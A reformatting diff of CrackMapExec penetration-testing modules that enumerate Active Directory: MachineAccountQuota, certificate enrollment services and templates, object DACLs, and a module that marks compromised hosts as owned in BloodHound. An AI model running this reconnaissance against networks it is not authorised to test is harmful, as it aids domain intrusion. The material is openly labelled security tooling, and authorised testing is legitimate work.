#NetworkAddr = bindings[0]['aNetworkAddr']
|
||||
# NetworkAddr = bindings[0]['aNetworkAddr']
|
||||
for binding in bindings:
|
||||
NetworkAddr = binding['aNetworkAddr']
|
||||
NetworkAddr = binding["aNetworkAddr"]
|
||||
try:
|
||||
ip_address(NetworkAddr[:-1])
|
||||
context.log.highlight("Address: " + NetworkAddr)
|
||||
except Exception as e:
|
||||
context.log.debug(e)
|
||||
|
||||
|
||||
|
||||
@@ -1,31 +1,32 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Module by Shutdown and Podalirius
|
||||
Module by Shutdown and Podalirius
|
||||
|
||||
Initial module:
|
||||
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
|
||||
Initial module:
|
||||
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
|
||||
|
||||
Authors:
|
||||
Shutdown: @_nwodtuhs
|
||||
Podalirius: @podalirius_
|
||||
Authors:
|
||||
Shutdown: @_nwodtuhs
|
||||
Podalirius: @podalirius_
|
||||
"""
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
name = 'MAQ'
|
||||
description = 'Retrieves the MachineAccountQuota domain-level attribute'
|
||||
supported_protocols = ['ldap']
|
||||
name = "MAQ"
|
||||
description = "Retrieves the MachineAccountQuota domain-level attribute"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
def on_login(self, context, connection):
|
||||
result = []
|
||||
context.log.display('Getting the MachineAccountQuota')
|
||||
searchFilter = '(objectClass=*)'
|
||||
attributes = ['ms-DS-MachineAccountQuota']
|
||||
context.log.display("Getting the MachineAccountQuota")
|
||||
searchFilter = "(objectClass=*)"
|
||||
attributes = ["ms-DS-MachineAccountQuota"]
|
||||
result = connection.search(searchFilter, attributes)
|
||||
context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0])
|
||||
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
|
||||
|
||||
+34
-33
@@ -11,9 +11,10 @@ class CMEModule:
|
||||
|
||||
Module by Tobias Neitzel (@qtc_de) and Sam Freeside (@snovvcrash)
|
||||
"""
|
||||
name = 'adcs'
|
||||
description = 'Find PKI Enrollment Services in Active Directory and Certificate Templates Names'
|
||||
supported_protocols = ['ldap']
|
||||
|
||||
name = "adcs"
|
||||
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -28,21 +29,21 @@ class CMEModule:
|
||||
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
|
||||
"""
|
||||
self.context = context
|
||||
self.regex = re.compile('(https?://.+)')
|
||||
self.regex = re.compile("(https?://.+)")
|
||||
|
||||
self.server = None
|
||||
if module_options and 'SERVER' in module_options:
|
||||
self.server = module_options['SERVER']
|
||||
if module_options and "SERVER" in module_options:
|
||||
self.server = module_options["SERVER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""
|
||||
On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
|
||||
"""
|
||||
if self.server is None:
|
||||
search_filter = '(objectClass=pKIEnrollmentService)'
|
||||
search_filter = "(objectClass=pKIEnrollmentService)"
|
||||
else:
|
||||
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
|
||||
self.context.log.highlight('Using PKI CN: {}'.format(self.server))
|
||||
self.context.log.highlight("Using PKI CN: {}".format(self.server))
|
||||
|
||||
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
|
||||
|
||||
@@ -57,18 +58,19 @@ class CMEModule:
|
||||
sizeLimit=0,
|
||||
searchControls=[sc],
|
||||
perRecordCallback=self.process_servers,
|
||||
searchBase='CN=Configuration,' + base_dn_root
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
else:
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=search_filter + base_dn_root + ')',
|
||||
attributes=['certificateTemplates'],
|
||||
sizeLimit=0, searchControls=[sc],
|
||||
searchFilter=search_filter + base_dn_root + ")",
|
||||
attributes=["certificateTemplates"],
|
||||
sizeLimit=0,
|
||||
searchControls=[sc],
|
||||
perRecordCallback=self.process_templates,
|
||||
searchBase='CN=Configuration,' + base_dn_root
|
||||
searchBase="CN=Configuration," + base_dn_root,
|
||||
)
|
||||
except LDAPSearchError as e:
|
||||
context.log.fail('Obtained unexpected exception: {}'.format(str(e)))
|
||||
context.log.fail("Obtained unexpected exception: {}".format(str(e)))
|
||||
|
||||
def process_servers(self, item):
|
||||
"""
|
||||
@@ -82,30 +84,29 @@ class CMEModule:
|
||||
cn = None
|
||||
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
|
||||
if str(attribute['type']) == 'dNSHostName':
|
||||
host_name = attribute['vals'][0].asOctets().decode('utf-8')
|
||||
if str(attribute['type']) == 'cn':
|
||||
cn = attribute['vals'][0].asOctets().decode('utf-8')
|
||||
elif str(attribute['type']) == 'msPKI-Enrollment-Servers':
|
||||
values = attribute['vals']
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "dNSHostName":
|
||||
host_name = attribute["vals"][0].asOctets().decode("utf-8")
|
||||
if str(attribute["type"]) == "cn":
|
||||
cn = attribute["vals"][0].asOctets().decode("utf-8")
|
||||
elif str(attribute["type"]) == "msPKI-Enrollment-Servers":
|
||||
values = attribute["vals"]
|
||||
|
||||
for value in values:
|
||||
value = value.asOctets().decode('utf-8')
|
||||
value = value.asOctets().decode("utf-8")
|
||||
match = self.regex.search(value)
|
||||
if match:
|
||||
urls.append(match.group(1))
|
||||
except Exception as e:
|
||||
entry = host_name or 'item'
|
||||
entry = host_name or "item"
|
||||
self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
|
||||
|
||||
if host_name:
|
||||
self.context.log.highlight('Found PKI Enrollment Server: {}'.format(host_name))
|
||||
self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
|
||||
if cn:
|
||||
self.context.log.highlight('Found CN: {}'.format(cn))
|
||||
self.context.log.highlight("Found CN: {}".format(cn))
|
||||
for url in urls:
|
||||
self.context.log.highlight('Found PKI Enrollment WebService: {}'.format(url))
|
||||
self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
|
||||
|
||||
def process_templates(self, item):
|
||||
"""
|
||||
@@ -118,15 +119,15 @@ class CMEModule:
|
||||
template_name = None
|
||||
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'certificateTemplates':
|
||||
for val in attribute['vals']:
|
||||
template_name = val.asOctets().decode('utf-8')
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "certificateTemplates":
|
||||
for val in attribute["vals"]:
|
||||
template_name = val.asOctets().decode("utf-8")
|
||||
templates.append(template_name)
|
||||
except Exception as e:
|
||||
entry = template_name or 'item'
|
||||
entry = template_name or "item"
|
||||
self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'")
|
||||
|
||||
if templates:
|
||||
for t in templates:
|
||||
self.context.log.highlight('Found Certificate Template: {}'.format(t))
|
||||
self.context.log.highlight("Found Certificate Template: {}".format(t))
|
||||
|
||||
+30
-37
@@ -7,12 +7,14 @@
|
||||
# https://en.hackndo.com [EN]
|
||||
|
||||
import sys
|
||||
from neo4j import GraphDatabase
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
|
||||
|
||||
class CMEModule:
|
||||
name = 'bh_owned'
|
||||
name = "bh_owned"
|
||||
description = "Set pwned computer as owned in Bloodhound"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
@@ -26,69 +28,60 @@ class CMEModule:
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
URI URI for Neo4j database (default: 127.0.0.1)
|
||||
PORT Listening port for Neo4j database (default: 7687)
|
||||
USER Username for Neo4j database (default: 'neo4j')
|
||||
PASS Password for Neo4j database (default: 'neo4j')
|
||||
URI URI for Neo4j database (default: 127.0.0.1)
|
||||
PORT Listening port for Neo4j database (default: 7687)
|
||||
USER Username for Neo4j database (default: 'neo4j')
|
||||
PASS Password for Neo4j database (default: 'neo4j')
|
||||
"""
|
||||
|
||||
|
||||
self.neo4j_URI = "127.0.0.1"
|
||||
self.neo4j_Port = "7687"
|
||||
self.neo4j_user = "neo4j"
|
||||
self.neo4j_pass = "neo4j"
|
||||
|
||||
if module_options and 'URI' in module_options:
|
||||
self.neo4j_URI = module_options['URI']
|
||||
if module_options and 'PORT' in module_options:
|
||||
self.neo4j_Port = module_options['PORT']
|
||||
if module_options and 'USER' in module_options:
|
||||
self.neo4j_user = module_options['USER']
|
||||
if module_options and 'PASS' in module_options:
|
||||
self.neo4j_pass = module_options['PASS']
|
||||
if module_options and "URI" in module_options:
|
||||
self.neo4j_URI = module_options["URI"]
|
||||
if module_options and "PORT" in module_options:
|
||||
self.neo4j_Port = module_options["PORT"]
|
||||
if module_options and "USER" in module_options:
|
||||
self.neo4j_user = module_options["USER"]
|
||||
if module_options and "PASS" in module_options:
|
||||
self.neo4j_pass = module_options["PASS"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
from neo4j.v1 import GraphDatabase
|
||||
except:
|
||||
from neo4j import GraphDatabase
|
||||
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
|
||||
if context.local_auth:
|
||||
domain = connection.conn.getServerDNSDomainName()
|
||||
domain = connection.conn.getServerDNSDomainName()
|
||||
else:
|
||||
domain = connection.domain
|
||||
|
||||
|
||||
host_fqdn = (connection.hostname + "." + domain).upper()
|
||||
uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
|
||||
host_fqdn = f"{connection.hostname}.{domain}".upper()
|
||||
uri = f"bolt://{self.neo4j_URI}:{self.neo4j_Port}"
|
||||
context.log.debug(f"Neo4j URI: {uri}")
|
||||
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
|
||||
|
||||
try:
|
||||
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
|
||||
except AuthError as e:
|
||||
context.log.fail(
|
||||
"Provided Neo4J credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
|
||||
except AuthError:
|
||||
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
|
||||
sys.exit()
|
||||
except ServiceUnavailable as e:
|
||||
context.log.fail("Neo4J does not seem to be available on {}. See --options".format(uri))
|
||||
except ServiceUnavailable:
|
||||
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
|
||||
sys.exit()
|
||||
except Exception as e:
|
||||
context.log.fail("Unexpected error with Neo4J")
|
||||
context.log.debug("Error : ".format(str(e)))
|
||||
context.log.debug(f"Error {e}: ")
|
||||
sys.exit()
|
||||
|
||||
with driver.session() as session:
|
||||
with session.begin_transaction() as tx:
|
||||
result = tx.run(
|
||||
"MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
|
||||
result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
|
||||
record = result.single()
|
||||
try:
|
||||
value = record.value()
|
||||
except AttributeError:
|
||||
value = []
|
||||
if len(value) > 0:
|
||||
context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
|
||||
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
|
||||
else:
|
||||
context.log.fail(
|
||||
"Node {} does not appear to be in Neo4J database. Have you imported correct data?".format(host_fqdn))
|
||||
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
|
||||
driver.close()
|
||||
|
||||
+220
-202
@@ -17,80 +17,80 @@ OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)
|
||||
|
||||
# Universal SIDs
|
||||
WELL_KNOWN_SIDS = {
|
||||
'S-1-0': 'Null Authority',
|
||||
'S-1-0-0': 'Nobody',
|
||||
'S-1-1': 'World Authority',
|
||||
'S-1-1-0': 'Everyone',
|
||||
'S-1-2': 'Local Authority',
|
||||
'S-1-2-0': 'Local',
|
||||
'S-1-2-1': 'Console Logon',
|
||||
'S-1-3': 'Creator Authority',
|
||||
'S-1-3-0': 'Creator Owner',
|
||||
'S-1-3-1': 'Creator Group',
|
||||
'S-1-3-2': 'Creator Owner Server',
|
||||
'S-1-3-3': 'Creator Group Server',
|
||||
'S-1-3-4': 'Owner Rights',
|
||||
'S-1-5-80-0': 'All Services',
|
||||
'S-1-4': 'Non-unique Authority',
|
||||
'S-1-5': 'NT Authority',
|
||||
'S-1-5-1': 'Dialup',
|
||||
'S-1-5-2': 'Network',
|
||||
'S-1-5-3': 'Batch',
|
||||
'S-1-5-4': 'Interactive',
|
||||
'S-1-5-6': 'Service',
|
||||
'S-1-5-7': 'Anonymous',
|
||||
'S-1-5-8': 'Proxy',
|
||||
'S-1-5-9': 'Enterprise Domain Controllers',
|
||||
'S-1-5-10': 'Principal Self',
|
||||
'S-1-5-11': 'Authenticated Users',
|
||||
'S-1-5-12': 'Restricted Code',
|
||||
'S-1-5-13': 'Terminal Server Users',
|
||||
'S-1-5-14': 'Remote Interactive Logon',
|
||||
'S-1-5-15': 'This Organization',
|
||||
'S-1-5-17': 'This Organization',
|
||||
'S-1-5-18': 'Local System',
|
||||
'S-1-5-19': 'NT Authority',
|
||||
'S-1-5-20': 'NT Authority',
|
||||
'S-1-5-32-544': 'Administrators',
|
||||
'S-1-5-32-545': 'Users',
|
||||
'S-1-5-32-546': 'Guests',
|
||||
'S-1-5-32-547': 'Power Users',
|
||||
'S-1-5-32-548': 'Account Operators',
|
||||
'S-1-5-32-549': 'Server Operators',
|
||||
'S-1-5-32-550': 'Print Operators',
|
||||
'S-1-5-32-551': 'Backup Operators',
|
||||
'S-1-5-32-552': 'Replicators',
|
||||
'S-1-5-64-10': 'NTLM Authentication',
|
||||
'S-1-5-64-14': 'SChannel Authentication',
|
||||
'S-1-5-64-21': 'Digest Authority',
|
||||
'S-1-5-80': 'NT Service',
|
||||
'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines',
|
||||
'S-1-16-0': 'Untrusted Mandatory Level',
|
||||
'S-1-16-4096': 'Low Mandatory Level',
|
||||
'S-1-16-8192': 'Medium Mandatory Level',
|
||||
'S-1-16-8448': 'Medium Plus Mandatory Level',
|
||||
'S-1-16-12288': 'High Mandatory Level',
|
||||
'S-1-16-16384': 'System Mandatory Level',
|
||||
'S-1-16-20480': 'Protected Process Mandatory Level',
|
||||
'S-1-16-28672': 'Secure Process Mandatory Level',
|
||||
'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access',
|
||||
'S-1-5-32-555': 'BUILTIN\Remote Desktop Users',
|
||||
'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders',
|
||||
'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators',
|
||||
'S-1-5-32-558': 'BUILTIN\Performance Monitor Users',
|
||||
'S-1-5-32-559': 'BUILTIN\Performance Log Users',
|
||||
'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group',
|
||||
'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers',
|
||||
'S-1-5-32-562': 'BUILTIN\Distributed COM Users',
|
||||
'S-1-5-32-569': 'BUILTIN\Cryptographic Operators',
|
||||
'S-1-5-32-573': 'BUILTIN\Event Log Readers',
|
||||
'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access',
|
||||
'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers',
|
||||
'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers',
|
||||
'S-1-5-32-577': 'BUILTIN\RDS Management Servers',
|
||||
'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators',
|
||||
'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators',
|
||||
'S-1-5-32-580': 'BUILTIN\Remote Management Users',
|
||||
"S-1-0": "Null Authority",
|
||||
"S-1-0-0": "Nobody",
|
||||
"S-1-1": "World Authority",
|
||||
"S-1-1-0": "Everyone",
|
||||
"S-1-2": "Local Authority",
|
||||
"S-1-2-0": "Local",
|
||||
"S-1-2-1": "Console Logon",
|
||||
"S-1-3": "Creator Authority",
|
||||
"S-1-3-0": "Creator Owner",
|
||||
"S-1-3-1": "Creator Group",
|
||||
"S-1-3-2": "Creator Owner Server",
|
||||
"S-1-3-3": "Creator Group Server",
|
||||
"S-1-3-4": "Owner Rights",
|
||||
"S-1-5-80-0": "All Services",
|
||||
"S-1-4": "Non-unique Authority",
|
||||
"S-1-5": "NT Authority",
|
||||
"S-1-5-1": "Dialup",
|
||||
"S-1-5-2": "Network",
|
||||
"S-1-5-3": "Batch",
|
||||
"S-1-5-4": "Interactive",
|
||||
"S-1-5-6": "Service",
|
||||
"S-1-5-7": "Anonymous",
|
||||
"S-1-5-8": "Proxy",
|
||||
"S-1-5-9": "Enterprise Domain Controllers",
|
||||
"S-1-5-10": "Principal Self",
|
||||
"S-1-5-11": "Authenticated Users",
|
||||
"S-1-5-12": "Restricted Code",
|
||||
"S-1-5-13": "Terminal Server Users",
|
||||
"S-1-5-14": "Remote Interactive Logon",
|
||||
"S-1-5-15": "This Organization",
|
||||
"S-1-5-17": "This Organization",
|
||||
"S-1-5-18": "Local System",
|
||||
"S-1-5-19": "NT Authority",
|
||||
"S-1-5-20": "NT Authority",
|
||||
"S-1-5-32-544": "Administrators",
|
||||
"S-1-5-32-545": "Users",
|
||||
"S-1-5-32-546": "Guests",
|
||||
"S-1-5-32-547": "Power Users",
|
||||
"S-1-5-32-548": "Account Operators",
|
||||
"S-1-5-32-549": "Server Operators",
|
||||
"S-1-5-32-550": "Print Operators",
|
||||
"S-1-5-32-551": "Backup Operators",
|
||||
"S-1-5-32-552": "Replicators",
|
||||
"S-1-5-64-10": "NTLM Authentication",
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
"S-1-16-8448": "Medium Plus Mandatory Level",
|
||||
"S-1-16-12288": "High Mandatory Level",
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\Remote Management Users",
|
||||
}
|
||||
|
||||
|
||||
@@ -166,12 +166,12 @@ class ACCESS_MASK(Enum):
|
||||
# Simple permissions are combinaisons of extended permissions
|
||||
# https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN
|
||||
class SIMPLE_PERMISSIONS(Enum):
|
||||
FullControl = 0xf01ff
|
||||
Modify = 0x0301bf
|
||||
ReadAndExecute = 0x0200a9
|
||||
ReadAndWrite = 0x02019f
|
||||
FullControl = 0xF01FF
|
||||
Modify = 0x0301BF
|
||||
ReadAndExecute = 0x0200A9
|
||||
ReadAndWrite = 0x02019F
|
||||
Read = 0x20094
|
||||
Write = 0x200bc
|
||||
Write = 0x200BC
|
||||
|
||||
|
||||
# Mask ObjectType field enum
|
||||
@@ -194,9 +194,10 @@ class CMEModule:
|
||||
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
|
||||
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
|
||||
"""
|
||||
name = 'daclread'
|
||||
description = 'Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options.'
|
||||
supported_protocols = ['ldap']
|
||||
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
@@ -221,43 +222,43 @@ class CMEModule:
|
||||
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
|
||||
exit(1)
|
||||
|
||||
if module_options and 'TARGET' in module_options:
|
||||
if re.search(r'^(.+)\/([^\/]+)$', module_options['TARGET']) is not None:
|
||||
if module_options and "TARGET" in module_options:
|
||||
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
|
||||
try:
|
||||
self.target_file = open(module_options['TARGET'], "r")
|
||||
self.target_file = open(module_options["TARGET"], "r")
|
||||
self.target_sAMAccountName = None
|
||||
except Exception as e:
|
||||
context.log.fail("The file doesn't exist or cannot be openned.")
|
||||
else:
|
||||
self.target_sAMAccountName = module_options['TARGET']
|
||||
self.target_sAMAccountName = module_options["TARGET"]
|
||||
self.target_file = None
|
||||
self.target_DN = None
|
||||
self.target_SID = None
|
||||
if module_options and 'TARGET_DN' in module_options:
|
||||
self.target_DN = module_options['TARGET_DN']
|
||||
if module_options and "TARGET_DN" in module_options:
|
||||
self.target_DN = module_options["TARGET_DN"]
|
||||
self.target_sAMAccountName = None
|
||||
self.target_file = None
|
||||
|
||||
if module_options and 'PRINCIPAL' in module_options:
|
||||
self.principal_sAMAccountName = module_options['PRINCIPAL']
|
||||
if module_options and "PRINCIPAL" in module_options:
|
||||
self.principal_sAMAccountName = module_options["PRINCIPAL"]
|
||||
else:
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
|
||||
if module_options and 'ACTION' in module_options:
|
||||
self.action = module_options['ACTION']
|
||||
if module_options and "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
else:
|
||||
self.action = 'read'
|
||||
if module_options and 'ACE_TYPE' in module_options:
|
||||
self.ace_type = module_options['ACE_TYPE']
|
||||
self.action = "read"
|
||||
if module_options and "ACE_TYPE" in module_options:
|
||||
self.ace_type = module_options["ACE_TYPE"]
|
||||
else:
|
||||
self.ace_type = 'allowed'
|
||||
if module_options and 'RIGHTS' in module_options:
|
||||
self.rights = module_options['RIGHTS']
|
||||
self.ace_type = "allowed"
|
||||
if module_options and "RIGHTS" in module_options:
|
||||
self.rights = module_options["RIGHTS"]
|
||||
else:
|
||||
self.rights = None
|
||||
if module_options and 'RIGHTS_GUID' in module_options:
|
||||
self.rights_guid = module_options['RIGHTS_GUID']
|
||||
if module_options and "RIGHTS_GUID" in module_options:
|
||||
self.rights_guid = module_options["RIGHTS_GUID"]
|
||||
else:
|
||||
self.rights_guid = None
|
||||
self.filename = None
|
||||
@@ -278,13 +279,17 @@ class CMEModule:
|
||||
self.principal_sid = format_sid(
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter='(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal),
|
||||
attributes=['objectSid']
|
||||
)[0][1][0][1][0]
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
|
||||
attributes=["objectSid"],
|
||||
)[0][
|
||||
1
|
||||
][0][
|
||||
1
|
||||
][0]
|
||||
)
|
||||
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
|
||||
except Exception as e:
|
||||
context.log.fail('Principal SID not found in LDAP (%s)' % _lookedup_principal)
|
||||
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
|
||||
exit(1)
|
||||
|
||||
# Searching for the targets SID and their Security Decriptors
|
||||
@@ -295,17 +300,16 @@ class CMEModule:
|
||||
self.search_target_principal_security_descriptor(context, connection)
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode('latin-1')
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(
|
||||
data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight('Target principal found in LDAP (%s)' % self.target_principal[0])
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
|
||||
except Exception as e:
|
||||
context.log.fail('Target SID not found in LDAP (%s)' % self.target_sAMAccountName)
|
||||
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
exit(1)
|
||||
|
||||
if self.action == 'read':
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
if self.action == 'backup':
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
|
||||
# If there are multiple targets
|
||||
@@ -318,23 +322,22 @@ class CMEModule:
|
||||
self.search_target_principal_security_descriptor(context, connection)
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode('latin-1')
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(
|
||||
data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight('Target principal found in LDAP (%s)' % self.target_sAMAccountName)
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
except Exception as e:
|
||||
context.log.fail('Target SID not found in LDAP (%s)' % self.target_sAMAccountName)
|
||||
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
continue
|
||||
|
||||
if self.action == 'read':
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
if self.action == 'backup':
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
|
||||
# Main read funtion
|
||||
# Prints the parsed DACL
|
||||
def read(self, context):
|
||||
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor['Dacl'])
|
||||
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(context, parsed_dacl)
|
||||
return
|
||||
|
||||
@@ -342,14 +345,16 @@ class CMEModule:
|
||||
# This function is called before any writing action (write, remove or restore)
|
||||
def backup(self, context):
|
||||
backup = {}
|
||||
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('latin-1')
|
||||
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(self.target_principal_dn)
|
||||
if not self.filename:
|
||||
self.filename = 'dacledit-%s-%s.bak' % (
|
||||
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"), self.target_sAMAccountName)
|
||||
with codecs.open(self.filename, 'w', 'latin-1') as outfile:
|
||||
self.filename = "dacledit-%s-%s.bak" % (
|
||||
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
|
||||
self.target_sAMAccountName,
|
||||
)
|
||||
with codecs.open(self.filename, "w", "latin-1") as outfile:
|
||||
json.dump(backup, outfile)
|
||||
context.log.highlight('DACL backed up to %s', self.filename)
|
||||
context.log.highlight("DACL backed up to %s", self.filename)
|
||||
self.filename = None
|
||||
|
||||
# Attempts to retrieve the DACL in the Security Descriptor of the specified target
|
||||
@@ -361,22 +366,22 @@ class CMEModule:
|
||||
_lookedup_principal = self.target_sAMAccountName
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter='(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal),
|
||||
attributes=['nTSecurityDescriptor'],
|
||||
searchControls=controls
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
